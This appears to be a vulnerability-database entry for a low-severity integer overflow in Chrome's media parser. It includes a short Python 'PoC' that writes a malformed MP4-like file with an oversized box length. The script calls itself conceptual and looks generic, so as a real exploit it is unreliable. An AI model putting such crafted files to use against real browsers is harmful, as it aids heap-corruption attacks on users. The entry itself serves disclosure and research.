Integer overflow in Media in Google Chrome prior to 147.0.7727.55 allowed a remote attacker to potentially exploit heap corruption via a crafted video file. (Chromium security severity: Low)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 147.0.7727.55
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import struct
# This Python script generates a malformed media file structure
# intended to trigger an integer overflow in a vulnerable media parser.
# Note: This is a conceptual PoC for demonstration purposes only.
def generate_malformed_file(filename):
with open(filename, 'wb') as f:
# Simulate a media container box (e.g., MP4/WEBM structure)
# We set a specific size value that might trigger an overflow
# if the parser calculates (offset + size) without checking bounds.
# Box header: Size (4 bytes) + Type (4 bytes)
# Using a large size value that could cause integer overflow
# in allocation logic (e.g., size = 0xFFFFFFF0)
large_size = struct.pack('>I', 0xFFFFFFF0)
box_type = b'vide' # Example box type
f.write(large_size + box_type)
# Write some payload data
f.write(b'A' * 100)
print(f"[+] Malformed file generated: {filename}")
print("[+] This file is intended for testing against vulnerable parsers.")
if __name__ == "__main__":
generate_malformed_file("cve_2026_5910_poc.mp4")